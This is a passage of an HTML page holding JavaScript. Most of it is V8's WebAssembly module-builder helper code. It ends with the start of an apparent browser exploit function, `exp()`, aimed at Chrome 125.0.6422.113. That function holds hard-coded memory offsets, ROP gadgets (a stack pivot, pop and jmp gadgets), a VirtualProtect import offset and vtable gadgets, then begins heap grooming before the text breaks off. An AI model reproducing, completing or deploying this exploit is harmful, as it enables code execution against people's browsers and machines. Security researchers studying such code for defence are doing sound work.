              this.type_form = kWasmStructTypeForm;
              this.is_final = is_final;
              this.supertype = supertype_idx;
            }
          }
          class WasmArray {
            constructor(type, mutability, is_final, supertype_idx) {
              this.type = type;
              this.mutability = mutability;
              this.type_form = kWasmArrayTypeForm;
              this.is_final = is_final;
              this.supertype = supertype_idx;
            }
          }
          class WasmElemSegment {
            constructor(table, offset, type, elements, is_decl) {
              this.table = table;
              this.offset = offset;
              this.type = type;
              this.elements = elements;
              this.is_decl = is_decl;
              // Invariant checks.
              if ((table === undefined) != (offset === undefined)) {
                throw new Error("invalid element segment");
              }
              for (let elem of elements) {
                if ((typeof elem == "number") != (type === undefined)) {
                  throw new Error("invalid element");
                }
              }
            }
            is_active() {
              return this.table !== undefined;
            }
            is_passive() {
              return this.table === undefined && !this.is_decl;
            }
            is_declarative() {
              return this.table === undefined && this.is_decl;
            }
            expressions_as_elements() {
              return this.type !== undefined;
            }
          }
          class WasmModuleBuilder {
            constructor() {
              this.types = [];
              this.imports = [];
              this.exports = [];
              this.stringrefs = [];
              this.globals = [];
              this.tables = [];
              this.tags = [];
              this.memories = [];
              this.functions = [];
              this.compilation_hints = [];
              this.element_segments = [];
              this.data_segments = [];
              this.explicit = [];
              this.rec_groups = [];
              this.num_imported_funcs = 0;
              this.num_imported_globals = 0;
              this.num_imported_tables = 0;
              this.num_imported_tags = 0;
              return this;
            }
            addStart(start_index) {
              this.start_index = start_index;
              return this;
            }
            addMemory(min, max, shared) {
              // Note: All imported memories are added before declared ones (see the check
              // in {addImportedMemory}).
              const imported_memories = this.imports.filter(
                (i) => i.kind == kExternalMemory
              ).length;
              const mem_index = imported_memories + this.memories.length;
              this.memories.push({
                min: min,
                max: max,
                shared: shared || false,
                is_memory64: false,
              });
              return mem_index;
            }
            addMemory64(min, max, shared) {
              // Note: All imported memories are added before declared ones (see the check
              // in {addImportedMemory}).
              const imported_memories = this.imports.filter(
                (i) => i.kind == kExternalMemory
              ).length;
              const mem_index = imported_memories + this.memories.length;
              this.memories.push({
                min: min,
                max: max,
                shared: shared || false,
                is_memory64: true,
              });
              return mem_index;
            }
            addExplicitSection(bytes) {
              this.explicit.push(bytes);
              return this;
            }
            stringToBytes(name) {
              var result = new Binary();
              result.emit_u32v(name.length);
              for (var i = 0; i < name.length; i++) {
                result.emit_u8(name.charCodeAt(i));
              }
              return result.trunc_buffer();
            }
            createCustomSection(name, bytes) {
              name = this.stringToBytes(name);
              var section = new Binary();
              section.emit_u8(0);
              section.emit_u32v(name.length + bytes.length);
              section.emit_bytes(name);
              section.emit_bytes(bytes);
              return section.trunc_buffer();
            }
            addCustomSection(name, bytes) {
              this.explicit.push(this.createCustomSection(name, bytes));
            }
            // We use {is_final = true} so that the MVP syntax is generated for
            // signatures.
            addType(type, supertype_idx = kNoSuperType, is_final = true) {
              var pl = type.params.length; // should have params
              var rl = type.results.length; // should have results
              var type_copy = {
                params: type.params,
                results: type.results,
                is_final: is_final,
                supertype: supertype_idx,
              };
              this.types.push(type_copy);
              return this.types.length - 1;
            }
            addLiteralStringRef(str) {
              this.stringrefs.push(str);
              return this.stringrefs.length - 1;
            }
            addStruct(fields, supertype_idx = kNoSuperType, is_final = false) {
              this.types.push(new WasmStruct(fields, is_final, supertype_idx));
              return this.types.length - 1;
            }
            addArray(
              type,
              mutability,
              supertype_idx = kNoSuperType,
              is_final = false
            ) {
              this.types.push(
                new WasmArray(type, mutability, is_final, supertype_idx)
              );
              return this.types.length - 1;
            }
            static defaultFor(type) {
              switch (type) {
                case kWasmI32:
                  return wasmI32Const(0);
                case kWasmI64:
                  return wasmI64Const(0);
                case kWasmF32:
                  return wasmF32Const(0.0);
                case kWasmF64:
                  return wasmF64Const(0.0);
                case kWasmS128:
                  return [kSimdPrefix, kExprS128Const, ...new Array(16).fill(0)];
                default:
                  if (typeof type != "number" && type.opcode != kWasmRefNull) {
                    throw new Error("Non-defaultable type");
                  }
                  let heap_type = typeof type == "number" ? type : type.heap_type;
                  return [
                    kExprRefNull,
                    ...wasmSignedLeb(heap_type, kMaxVarInt32Size),
                  ];
              }
            }
            addGlobal(type, mutable, init) {
              if (init === undefined) init = WasmModuleBuilder.defaultFor(type);
              checkExpr(init);
              let glob = new WasmGlobalBuilder(this, type, mutable, init);
              glob.index = this.globals.length + this.num_imported_globals;
              this.globals.push(glob);
              return glob;
            }
            addTable(
              type,
              initial_size,
              max_size = undefined,
              init_expr = undefined
            ) {
              if (
                type == kWasmI32 ||
                type == kWasmI64 ||
                type == kWasmF32 ||
                type == kWasmF64 ||
                type == kWasmS128 ||
                type == kWasmVoid
              ) {
                throw new Error("Tables must be of a reference type");
              }
              if (init_expr != undefined) checkExpr(init_expr);
              let table = new WasmTableBuilder(
                this,
                type,
                initial_size,
                max_size,
                init_expr
              );
              table.index = this.tables.length + this.num_imported_tables;
              this.tables.push(table);
              return table;
            }
            addTag(type) {
              let type_index = typeof type == "number" ? type : this.addType(type);
              let tag_index = this.tags.length + this.num_imported_tags;
              this.tags.push(type_index);
              return tag_index;
            }
            addFunction(name, type, arg_names) {
              arg_names = arg_names || [];
              let type_index = typeof type == "number" ? type : this.addType(type);
              let num_args = this.types[type_index].params.length;
              if (num_args < arg_names.length)
                throw new Error("too many arg names provided");
              if (num_args > arg_names.length)
                arg_names.push(num_args - arg_names.length);
              let func = new WasmFunctionBuilder(this, name, type_index, arg_names);
              func.index = this.functions.length + this.num_imported_funcs;
              this.functions.push(func);
              return func;
            }
            addImport(module, name, type) {
              if (this.functions.length != 0) {
                throw new Error(
                  "Imported functions must be declared before local ones"
                );
              }
              let type_index = typeof type == "number" ? type : this.addType(type);
              this.imports.push({
                module: module,
                name: name,
                kind: kExternalFunction,
                type_index: type_index,
              });
              return this.num_imported_funcs++;
            }
            addImportedGlobal(module, name, type, mutable = false) {
              if (this.globals.length != 0) {
                throw new Error(
                  "Imported globals must be declared before local ones"
                );
              }
              let o = {
                module: module,
                name: name,
                kind: kExternalGlobal,
                type: type,
                mutable: mutable,
              };
              this.imports.push(o);
              return this.num_imported_globals++;
            }
            addImportedMemory(
              module,
              name,
              initial = 0,
              maximum,
              shared,
              is_memory64
            ) {
              if (this.memories.length !== 0) {
                throw new Error(
                  "Add imported memories before declared memories to avoid messing " +
                    "up the indexes"
                );
              }
              let mem_index = this.imports.filter(
                (i) => i.kind == kExternalMemory
              ).length;
              let o = {
                module: module,
                name: name,
                kind: kExternalMemory,
                initial: initial,
                maximum: maximum,
                shared: !!shared,
                is_memory64: !!is_memory64,
              };
              this.imports.push(o);
              return mem_index;
            }
            addImportedTable(module, name, initial, maximum, type) {
              if (this.tables.length != 0) {
                throw new Error(
                  "Imported tables must be declared before local ones"
                );
              }
              let o = {
                module: module,
                name: name,
                kind: kExternalTable,
                initial: initial,
                maximum: maximum,
                type: type || kWasmFuncRef,
              };
              this.imports.push(o);
              return this.num_imported_tables++;
            }
            addImportedTag(module, name, type) {
              if (this.tags.length != 0) {
                throw new Error("Imported tags must be declared before local ones");
              }
              let type_index = typeof type == "number" ? type : this.addType(type);
              let o = {
                module: module,
                name: name,
                kind: kExternalTag,
                type_index: type_index,
              };
              this.imports.push(o);
              return this.num_imported_tags++;
            }
            addExport(name, index) {
              this.exports.push({
                name: name,
                kind: kExternalFunction,
                index: index,
              });
              return this;
            }
            addExportOfKind(name, kind, index) {
              if (
                index === undefined &&
                kind != kExternalTable &&
                kind != kExternalMemory
              ) {
                throw new Error(
                  "Index for exports other than tables/memories must be provided"
                );
              }
              if (index !== undefined && typeof index != "number") {
                throw new Error("Index for exports must be a number");
              }
              this.exports.push({ name: name, kind: kind, index: index });
              return this;
            }
            setCompilationHint(strategy, baselineTier, topTier, index) {
              this.compilation_hints[index] = {
                strategy: strategy,
                baselineTier: baselineTier,
                topTier: topTier,
              };
              return this;
            }
            // TODO(manoskouk): Refactor this to use initializer expression for {offset}.
            addDataSegment(offset, data, is_global = false, memory_index = 0) {
              this.data_segments.push({
                offset: offset,
                data: data,
                is_global: is_global,
                is_active: true,
                mem_index: memory_index,
              });
              return this.data_segments.length - 1;
            }
            addPassiveDataSegment(data) {
              this.data_segments.push({ data: data, is_active: false });
              return this.data_segments.length - 1;
            }
            exportMemoryAs(name, memory_index) {
              if (memory_index === undefined) {
                const num_memories =
                  this.memories.length +
                  this.imports.filter((i) => i.kind == kExternalMemory).length;
                if (num_memories !== 1) {
                  throw new Error(
                    "Pass memory index to 'exportMemoryAs' if there is not exactly " +
                      "one memory imported or declared."
                  );
                }
                memory_index = 0;
              }
              this.exports.push({
                name: name,
                kind: kExternalMemory,
                index: memory_index,
              });
            }
            // {offset} is a constant expression.
            // If {type} is undefined, then {elements} are function indices. Otherwise,
            // they are constant expressions.
            addActiveElementSegment(table, offset, elements, type) {
              checkExpr(offset);
              if (type != undefined) {
                for (let element of elements) checkExpr(element);
              }
              this.element_segments.push(
                new WasmElemSegment(table, offset, type, elements, false)
              );
              return this.element_segments.length - 1;
            }
            // If {type} is undefined, then {elements} are function indices. Otherwise,
            // they are constant expressions.
            addPassiveElementSegment(elements, type) {
              if (type != undefined) {
                for (let element of elements) checkExpr(element);
              }
              this.element_segments.push(
                new WasmElemSegment(undefined, undefined, type, elements, false)
              );
              return this.element_segments.length - 1;
            }
            // If {type} is undefined, then {elements} are function indices. Otherwise,
            // they are constant expressions.
            addDeclarativeElementSegment(elements, type) {
              if (type != undefined) {
                for (let element of elements) checkExpr(element);
              }
              this.element_segments.push(
                new WasmElemSegment(undefined, undefined, type, elements, true)
              );
              return this.element_segments.length - 1;
            }
            appendToTable(array) {
              for (let n of array) {
                if (typeof n != "number")
                  throw new Error(
                    "invalid table (entries have to be numbers): " + array
                  );
              }
              if (this.tables.length == 0) {
                this.addTable(kWasmAnyFunc, 0);
              }
              // Adjust the table to the correct size.
              let table = this.tables[0];
              const base = table.initial_size;
              const table_size = base + array.length;
              table.initial_size = table_size;
              if (table.has_max && table_size > table.max_size) {
                table.max_size = table_size;
              }
              return this.addActiveElementSegment(0, wasmI32Const(base), array);
            }
            setTableBounds(min, max = undefined) {
              if (this.tables.length != 0) {
                throw new Error(
                  "The table bounds of table '0' have already been set."
                );
              }
              this.addTable(kWasmAnyFunc, min, max);
              return this;
            }
            startRecGroup() {
              this.rec_groups.push({ start: this.types.length, size: 0 });
            }
            endRecGroup() {
              if (this.rec_groups.length == 0) {
                throw new Error(
                  "Did not start a recursive group before ending one"
                );
              }
              let last_element = this.rec_groups[this.rec_groups.length - 1];
              if (last_element.size != 0) {
                throw new Error(
                  "Did not start a recursive group before ending one"
                );
              }
              last_element.size = this.types.length - last_element.start;
            }
            setName(name) {
              this.name = name;
              return this;
            }
            toBuffer(debug = false, typeToBuffer = false) {
              let binary = new Binary();
              let wasm = this;
              // Add header.
              binary.emit_header();
              const headerLen = binary.length;
              // Add type section.
              if (wasm.types.length > 0) {
                if (debug) print("emitting types @ " + binary.length);
                binary.emit_section(kTypeSectionCode, (section) => {
                  let length_with_groups = wasm.types.length;
                  for (let group of wasm.rec_groups) {
                    length_with_groups -= group.size - 1;
                  }
                  section.emit_u32v(length_with_groups);
                  let rec_group_index = 0;
                  for (let i = 0; i < wasm.types.length; i++) {
                    if (
                      rec_group_index < wasm.rec_groups.length &&
                      wasm.rec_groups[rec_group_index].start == i
                    ) {
                      section.emit_u8(kWasmRecursiveTypeGroupForm);
                      section.emit_u32v(wasm.rec_groups[rec_group_index].size);
                      rec_group_index++;
                    }
                    let type = wasm.types[i];
                    if (type.supertype != kNoSuperType) {
                      section.emit_u8(
                        type.is_final ? kWasmSubtypeFinalForm : kWasmSubtypeForm
                      );
                      section.emit_u8(1); // supertype count
                      section.emit_u32v(type.supertype);
                    } else if (!type.is_final) {
                      section.emit_u8(kWasmSubtypeForm);
                      section.emit_u8(0); // no supertypes
                    }
                    if (type instanceof WasmStruct) {
                      section.emit_u8(kWasmStructTypeForm);
                      section.emit_u32v(type.fields.length);
                      for (let field of type.fields) {
                        section.emit_type(field.type);
                        section.emit_u8(field.mutability ? 1 : 0);
                      }
                    } else if (type instanceof WasmArray) {
                      section.emit_u8(kWasmArrayTypeForm);
                      section.emit_type(type.type);
                      section.emit_u8(type.mutability ? 1 : 0);
                    } else {
                      section.emit_u8(kWasmFunctionTypeForm);
                      section.emit_u32v(type.params.length);
                      for (let param of type.params) {
                        section.emit_type(param);
                      }
                      section.emit_u32v(type.results.length);
                      for (let result of type.results) {
                        section.emit_type(result);
                      }
                    }
                  }
                });
                if (typeToBuffer) {
                  console.log(headerLen);
                  return binary.trunc_buffer().slice(headerLen);
                }
              }
              // Add imports section.
              if (wasm.imports.length > 0) {
                if (debug) print("emitting imports @ " + binary.length);
                binary.emit_section(kImportSectionCode, (section) => {
                  section.emit_u32v(wasm.imports.length);
                  for (let imp of wasm.imports) {
                    section.emit_string(imp.module);
                    section.emit_string(imp.name || "");
                    section.emit_u8(imp.kind);
                    if (imp.kind == kExternalFunction) {
                      section.emit_u32v(imp.type_index);
                    } else if (imp.kind == kExternalGlobal) {
                      section.emit_type(imp.type);
                      section.emit_u8(imp.mutable);
                    } else if (imp.kind == kExternalMemory) {
                      const has_max = imp.maximum !== undefined;
                      const is_shared = !!imp.shared;
                      const is_memory64 = !!imp.is_memory64;
                      let limits_byte =
                        (is_memory64 ? 4 : 0) |
                        (is_shared ? 2 : 0) |
                        (has_max ? 1 : 0);
                      section.emit_u8(limits_byte);
                      let emit = (val) =>
                        is_memory64
                          ? section.emit_u64v(val)
                          : section.emit_u32v(val);
                      emit(imp.initial);
                      if (has_max) emit(imp.maximum);
                    } else if (imp.kind == kExternalTable) {
                      section.emit_type(imp.type);
                      var has_max = typeof imp.maximum != "undefined";
                      section.emit_u8(has_max ? 1 : 0); // flags
                      section.emit_u32v(imp.initial); // initial
                      if (has_max) section.emit_u32v(imp.maximum); // maximum
                    } else if (imp.kind == kExternalTag) {
                      section.emit_u32v(kExceptionAttribute);
                      section.emit_u32v(imp.type_index);
                    } else {
                      throw new Error(
                        "unknown/unsupported import kind " + imp.kind
                      );
                    }
                  }
                });
              }
              // Add functions declarations.
              if (wasm.functions.length > 0) {
                if (debug) print("emitting function decls @ " + binary.length);
                binary.emit_section(kFunctionSectionCode, (section) => {
                  section.emit_u32v(wasm.functions.length);
                  for (let func of wasm.functions) {
                    section.emit_u32v(func.type_index);
                  }
                });
              }
              // Add table section.
              if (wasm.tables.length > 0) {
                if (debug) print("emitting tables @ " + binary.length);
                binary.emit_section(kTableSectionCode, (section) => {
                  section.emit_u32v(wasm.tables.length);
                  for (let table of wasm.tables) {
                    if (table.has_init) {
                      section.emit_u8(0x40); // "has initializer"
                      section.emit_u8(0x00); // Reserved byte.
                    }
                    section.emit_type(table.type);
                    section.emit_u8(table.has_max);
                    section.emit_u32v(table.initial_size);
                    if (table.has_max) section.emit_u32v(table.max_size);
                    if (table.has_init) section.emit_init_expr(table.init_expr);
                  }
                });
              }
              // Add memory section.
              if (wasm.memories.length > 0) {
                if (debug) print("emitting memories @ " + binary.length);
                binary.emit_section(kMemorySectionCode, (section) => {
                  section.emit_u32v(wasm.memories.length);
                  for (let memory of wasm.memories) {
                    const has_max = memory.max !== undefined;
                    const is_shared = !!memory.shared;
                    const is_memory64 = !!memory.is_memory64;
                    let limits_byte =
                      (is_memory64 ? 4 : 0) |
                      (is_shared ? 2 : 0) |
                      (has_max ? 1 : 0);
                    section.emit_u8(limits_byte);
                    let emit = (val) =>
                      is_memory64 ? section.emit_u64v(val) : section.emit_u32v(val);
                    emit(memory.min);
                    if (has_max) emit(memory.max);
                  }
                });
              }
              // Add tag section.
              if (wasm.tags.length > 0) {
                if (debug) print("emitting tags @ " + binary.length);
                binary.emit_section(kTagSectionCode, (section) => {
                  section.emit_u32v(wasm.tags.length);
                  for (let type_index of wasm.tags) {
                    section.emit_u32v(kExceptionAttribute);
                    section.emit_u32v(type_index);
                  }
                });
              }
              // Add stringref section.
              if (wasm.stringrefs.length > 0) {
                if (debug) print("emitting stringrefs @ " + binary.length);
                binary.emit_section(kStringRefSectionCode, (section) => {
                  section.emit_u32v(0);
                  section.emit_u32v(wasm.stringrefs.length);
                  for (let str of wasm.stringrefs) {
                    section.emit_string(str);
                  }
                });
              }
              // Add global section.
              if (wasm.globals.length > 0) {
                if (debug) print("emitting globals @ " + binary.length);
                binary.emit_section(kGlobalSectionCode, (section) => {
                  section.emit_u32v(wasm.globals.length);
                  for (let global of wasm.globals) {
                    section.emit_type(global.type);
                    section.emit_u8(global.mutable);
                    section.emit_init_expr(global.init);
                  }
                });
              }
              // Add export table.
              var exports_count = wasm.exports.length;
              if (exports_count > 0) {
                if (debug) print("emitting exports @ " + binary.length);
                binary.emit_section(kExportSectionCode, (section) => {
                  section.emit_u32v(exports_count);
                  for (let exp of wasm.exports) {
                    section.emit_string(exp.name);
                    section.emit_u8(exp.kind);
                    section.emit_u32v(exp.index);
                  }
                });
              }
              // Add start function section.
              if (wasm.start_index !== undefined) {
                if (debug) print("emitting start function @ " + binary.length);
                binary.emit_section(kStartSectionCode, (section) => {
                  section.emit_u32v(wasm.start_index);
                });
              }
              // Add element segments.
              if (wasm.element_segments.length > 0) {
                if (debug) print("emitting element segments @ " + binary.length);
                binary.emit_section(kElementSectionCode, (section) => {
                  var segments = wasm.element_segments;
                  section.emit_u32v(segments.length);
                  for (let segment of segments) {
                    // Emit flag and header.
                    // Each case below corresponds to a flag from
                    // https://webassembly.github.io/spec/core/binary/modules.html#element-section
                    // (not in increasing order).
                    if (segment.is_active()) {
                      if (segment.table == 0 && segment.type === undefined) {
                        if (segment.expressions_as_elements()) {
                          section.emit_u8(0x04);
                          section.emit_init_expr(segment.offset);
                        } else {
                          section.emit_u8(0x00);
                          section.emit_init_expr(segment.offset);
                        }
                      } else {
                        if (segment.expressions_as_elements()) {
                          section.emit_u8(0x06);
                          section.emit_u32v(segment.table);
                          section.emit_init_expr(segment.offset);
                          section.emit_type(segment.type);
                        } else {
                          section.emit_u8(0x02);
                          section.emit_u32v(segment.table);
                          section.emit_init_expr(segment.offset);
                          section.emit_u8(kExternalFunction);
                        }
                      }
                    } else {
                      if (segment.expressions_as_elements()) {
                        if (segment.is_passive()) {
                          section.emit_u8(0x05);
                        } else {
                          section.emit_u8(0x07);
                        }
                        section.emit_type(segment.type);
                      } else {
                        if (segment.is_passive()) {
                          section.emit_u8(0x01);
                        } else {
                          section.emit_u8(0x03);
                        }
                        section.emit_u8(kExternalFunction);
                      }
                    }
                    // Emit elements.
                    section.emit_u32v(segment.elements.length);
                    for (let element of segment.elements) {
                      if (segment.expressions_as_elements()) {
                        section.emit_init_expr(element);
                      } else {
                        section.emit_u32v(element);
                      }
                    }
                  }
                });
              }
              // If there are any passive data segments, add the DataCount section.
              if (true /*wasm.data_segments.some(seg => !seg.is_active)*/) {
                binary.emit_section(kDataCountSectionCode, (section) => {
                  section.emit_u32v(wasm.data_segments.length);
                });
              }
              // If there are compilation hints add a custom section 'compilationHints'
              // after the function section and before the code section.
              if (wasm.compilation_hints.length > 0) {
                if (debug) print("emitting compilation hints @ " + binary.length);
                // Build custom section payload.
                let payloadBinary = new Binary();
                let implicit_compilation_hints_count = wasm.functions.length;
                payloadBinary.emit_u32v(implicit_compilation_hints_count);
                // Defaults to the compiler's choice if no better hint was given (0x00).
                let defaultHintByte =
                  kCompilationHintStrategyDefault |
                  (kCompilationHintTierDefault << 2) |
                  (kCompilationHintTierDefault << 4);
                // Emit hint byte for every function defined in this module.
                for (let i = 0; i < implicit_compilation_hints_count; i++) {
                  let index = wasm.num_imported_funcs + i;
                  var hintByte;
                  if (index in wasm.compilation_hints) {
                    let hint = wasm.compilation_hints[index];
                    hintByte =
                      hint.strategy |
                      (hint.baselineTier << 2) |
                      (hint.topTier << 4);
                  } else {
                    hintByte = defaultHintByte;
                  }
                  payloadBinary.emit_u8(hintByte);
                }
                // Finalize as custom section.
                let name = "compilationHints";
                let bytes = this.createCustomSection(
                  name,
                  payloadBinary.trunc_buffer()
                );
                binary.emit_bytes(bytes);
              }
              // Add function bodies.
              if (wasm.functions.length > 0) {
                // emit function bodies
                if (debug) print("emitting code @ " + binary.length);
                let section_length = 0;
                binary.emit_section(kCodeSectionCode, (section) => {
                  section.emit_u32v(wasm.functions.length);
                  let header;
                  for (let func of wasm.functions) {
                    if (func.locals.length == 0) {
                      // Fast path for functions without locals.
                      section.emit_u32v(func.body.length + 1);
                      section.emit_u8(0); // 0 locals.
                    } else {
                      // Build the locals declarations in separate buffer first.
                      if (!header) header = new Binary();
                      header.reset();
                      header.emit_u32v(func.locals.length);
                      for (let decl of func.locals) {
                        header.emit_u32v(decl.count);
                        header.emit_type(decl.type);
                      }
                      section.emit_u32v(header.length + func.body.length);
                      section.emit_bytes(header.trunc_buffer());
                    }
                    // Set to section offset for now, will update.
                    func.body_offset = section.length;
                    section.emit_bytes(func.body);
                  }
                  section_length = section.length;
                });
                for (let func of wasm.functions) {
                  func.body_offset += binary.length - section_length;
                }
              }
              // Add data segments.
              if (wasm.data_segments.length > 0) {
                if (debug) print("emitting data segments @ " + binary.length);
                binary.emit_section(kDataSectionCode, (section) => {
                  section.emit_u32v(wasm.data_segments.length);
                  for (let seg of wasm.data_segments) {
                    if (seg.is_active) {
                      if (seg.mem_index == 0) {
                        section.emit_u8(kActiveNoIndex);
                      } else {
                        section.emit_u8(kActiveWithIndex);
                        section.emit_u32v(seg.mem_index);
                      }
                      if (seg.is_global) {
                        // Offset is taken from a global.
                        section.emit_u8(kExprGlobalGet);
                        section.emit_u32v(seg.offset);
                      } else {
                        // Offset is a constant.
                        section.emit_bytes(wasmI32Const(seg.offset));
                      }
                      section.emit_u8(kExprEnd);
                    } else {
                      section.emit_u8(kPassive);
                    }
                    section.emit_u32v(seg.data.length);
                    section.emit_bytes(seg.data);
                  }
                });
              }
              // Add any explicitly added sections.
              for (let exp of wasm.explicit) {
                if (debug) print("emitting explicit @ " + binary.length);
                binary.emit_bytes(exp);
              }
              // Add names.
              let num_function_names = 0;
              let num_functions_with_local_names = 0;
              for (let func of wasm.functions) {
                if (func.name !== undefined) ++num_function_names;
                if (func.numLocalNames() > 0) ++num_functions_with_local_names;
              }
              if (
                num_function_names > 0 ||
                num_functions_with_local_names > 0 ||
                wasm.name !== undefined
              ) {
                if (debug) print("emitting names @ " + binary.length);
                binary.emit_section(kUnknownSectionCode, (section) => {
                  section.emit_string("name");
                  // Emit module name.
                  if (wasm.name !== undefined) {
                    section.emit_section(kModuleNameCode, (name_section) => {
                      name_section.emit_string(wasm.name);
                    });
                  }
                  // Emit function names.
                  if (num_function_names > 0) {
                    section.emit_section(kFunctionNamesCode, (name_section) => {
                      name_section.emit_u32v(num_function_names);
                      for (let func of wasm.functions) {
                        if (func.name === undefined) continue;
                        name_section.emit_u32v(func.index);
                        name_section.emit_string(func.name);
                      }
                    });
                  }
                  // Emit local names.
                  if (num_functions_with_local_names > 0) {
                    section.emit_section(kLocalNamesCode, (name_section) => {
                      name_section.emit_u32v(num_functions_with_local_names);
                      for (let func of wasm.functions) {
                        if (func.numLocalNames() == 0) continue;
                        name_section.emit_u32v(func.index);
                        name_section.emit_u32v(func.numLocalNames());
                        let name_index = 0;
                        for (let i = 0; i < func.local_names.length; ++i) {
                          if (typeof func.local_names[i] == "string") {
                            name_section.emit_u32v(name_index);
                            name_section.emit_string(func.local_names[i]);
                            name_index++;
                          } else {
                            name_index += func.local_names[i];
                          }
                        }
                      }
                    });
                  }
                });
              }
              return binary.trunc_buffer();
            }
            toArray(debug = false) {
              return Array.from(this.toBuffer(debug));
            }
            instantiate(ffi, options) {
              let module = this.toModule(options);
              let instance = new WebAssembly.Instance(module, ffi);
              return instance;
            }
            asyncInstantiate(ffi) {
              return WebAssembly.instantiate(this.toBuffer(), ffi).then(
                ({ module, instance }) => instance
              );
            }
            toModule(options, debug = false) {
              return new WebAssembly.Module(this.toBuffer(debug), options);
            }
          }
          function wasmSignedLeb(val, max_len = 5) {
            if (val == null) throw new Error("Leb value may not be null/undefined");
            let res = [];
            for (let i = 0; i < max_len; ++i) {
              let v = val & 0x7f;
              // If {v} sign-extended from 7 to 32 bits is equal to val, we are done.
              if ((v << 25) >> 25 == val) {
                res.push(v);
                return res;
              }
              res.push(v | 0x80);
              val = val >> 7;
            }
            throw new Error(
              "Leb value <" + val + "> exceeds maximum length of " + max_len
            );
          }
          function wasmSignedLeb64(val, max_len = 10) {
            if (val == null) throw new Error("Leb value may not be null/undefined");
            if (typeof val != "bigint") {
              if (val < Math.pow(2, 31)) {
                return wasmSignedLeb(val, max_len);
              }
              val = BigInt(val);
            }
            let res = [];
            for (let i = 0; i < max_len; ++i) {
              let v = val & 0x7fn;
              // If {v} sign-extended from 7 to 32 bits is equal to val, we are done.
              if (BigInt.asIntN(7, v) == val) {
                res.push(Number(v));
                return res;
              }
              res.push(Number(v) | 0x80);
              val = val >> 7n;
            }
            throw new Error(
              "Leb value <" + val + "> exceeds maximum length of " + max_len
            );
          }
          function wasmUnsignedLeb(val, max_len = 5) {
            if (val == null)
              throw new Error("Leb value many not be null/undefined");
            let res = [];
            for (let i = 0; i < max_len; ++i) {
              let v = val & 0x7f;
              if (v == val) {
                res.push(v);
                return res;
              }
              res.push(v | 0x80);
              val = val >>> 7;
            }
            throw new Error(
              "Leb value <" + val + "> exceeds maximum length of " + max_len
            );
          }
          function wasmI32Const(val) {
            return [kExprI32Const, ...wasmSignedLeb(val, 5)];
          }
          // Note: Since {val} is a JS number, the generated constant only has 53 bits of
          // precision.
          function wasmI64Const(val) {
            return [kExprI64Const, ...wasmSignedLeb64(val, 10)];
          }
          function wasmF32Const(f) {
            // Write in little-endian order at offset 0.
            data_view.setFloat32(0, f, true);
            return [
              kExprF32Const,
              byte_view[0],
              byte_view[1],
              byte_view[2],
              byte_view[3],
            ];
          }
          function wasmF64Const(f) {
            // Write in little-endian order at offset 0.
            data_view.setFloat64(0, f, true);
            return [
              kExprF64Const,
              byte_view[0],
              byte_view[1],
              byte_view[2],
              byte_view[3],
              byte_view[4],
              byte_view[5],
              byte_view[6],
              byte_view[7],
            ];
          }
          function wasmS128Const(f) {
            // Write in little-endian order at offset 0.
            if (Array.isArray(f)) {
              if (f.length != 16) throw new Error("S128Const needs 16 bytes");
              return [kSimdPrefix, kExprS128Const, ...f];
            }
            let result = [kSimdPrefix, kExprS128Const];
            if (arguments.length === 2) {
              for (let j = 0; j < 2; j++) {
                data_view.setFloat64(0, arguments[j], true);
                for (let i = 0; i < 8; i++) result.push(byte_view[i]);
              }
            } else if (arguments.length === 4) {
              for (let j = 0; j < 4; j++) {
                data_view.setFloat32(0, arguments[j], true);
                for (let i = 0; i < 4; i++) result.push(byte_view[i]);
              }
            } else {
              throw new Error(
                "S128Const needs an array of bytes, or two f64 values, " +
                  "or four f32 values"
              );
            }
            return result;
          }
          let [wasmBrOnCast, wasmBrOnCastFail] = (function () {
            return [
              (labelIdx, sourceType, targetType) =>
                wasmBrOnCastImpl(labelIdx, sourceType, targetType, false),
              (labelIdx, sourceType, targetType) =>
                wasmBrOnCastImpl(labelIdx, sourceType, targetType, true),
            ];
            function wasmBrOnCastImpl(labelIdx, sourceType, targetType, brOnFail) {
              labelIdx = wasmUnsignedLeb(labelIdx, kMaxVarInt32Size);
              let srcHeap = wasmSignedLeb(sourceType.heap_type, kMaxVarInt32Size);
              let tgtHeap = wasmSignedLeb(targetType.heap_type, kMaxVarInt32Size);
              let srcIsNullable = sourceType.opcode == kWasmRefNull;
              let tgtIsNullable = targetType.opcode == kWasmRefNull;
              flags = (tgtIsNullable << 1) + srcIsNullable;
              return [
                kGCPrefix,
                brOnFail ? kExprBrOnCastFailGeneric : kExprBrOnCastGeneric,
                flags,
                ...labelIdx,
                ...srcHeap,
                ...tgtHeap,
              ];
            }
          })();
          function getOpcodeName(opcode) {
            return globalThis.kWasmOpcodeNames?.[opcode] ?? "unknown";
          }
          // Make a wasm export "promising" using JS Promise Integration.
          function ToPromising(wasm_export) {
            let sig = wasm_export.type();
            assertTrue(sig.parameters.length > 0);
            assertEquals("externref", sig.parameters[0]);
            let wrapper_sig = {
              parameters: sig.parameters.slice(1),
              results: ["externref"],
            };
            return new WebAssembly.Function(wrapper_sig, wasm_export, {
              promising: "first",
            });
          }
        </script>
        <script>
          async function exp() {
            function checkUA(chrome_leak) {
              if ((chrome_leak & 0xffffn) === 0xfd00n) {
                browser_type = "chrome";
                browser_version = "125.0.6422.113";
                base_leak_ofs = 0xd39fd00n;
                base_tgt_ofs = 0xd35ffb8n;
                fptr_xor = 0xff000000000000n;
    
                pivot_gadget = 0x895558en;
                pop_gadget = 0x67620cn;
                prax_ret = 0x6cd1n;
                jmp_drax = 0x1d1e7n;
                virtualprotect_iat_ofs = 0xd214850n;
    
                vtable_gadget = 0x96b3672n;
                vtable_rax = 0xd4dab30n;
                vtable_call_base = 0xd3125e8n;
              }
    
              if (window.browser_type === undefined) {
                console.log("[!] checkUA() fail!!!");
                console.log("[*] navigator.userAgent = " + navigator.userAgent);
                console.log("[*] chrome_leak = " + chrome_leak.toString(16));
              } else {
                console.log(
                  "[+] checkUA() Browser: " +
                    browser_type[0].toUpperCase() +
                    browser_type.slice(1) +
                    " " +
                    browser_version
                );
              }
            }
    
            async function sleep(ms = 50) {
              await new Promise((r) => setTimeout(r, ms));
            }
            function hookLog() {
              const logTextarea = window.log;
              const ConsoleLog = console.log;
              console.realLog = ConsoleLog;
              console.log = (...args) => {
                logTextarea.value += args.join(" ") + "\n";
                ConsoleLog.apply(console, args);
              };
            }
    
            hookLog();
            console.log("[*] UA:", navigator.userAgent);
            await sleep();
    
            const nogc = [];
            const abs = [];
            let absctr = 0;
            for (let i = 0; i < 0x4000 / 0x40 - 1; i++) {
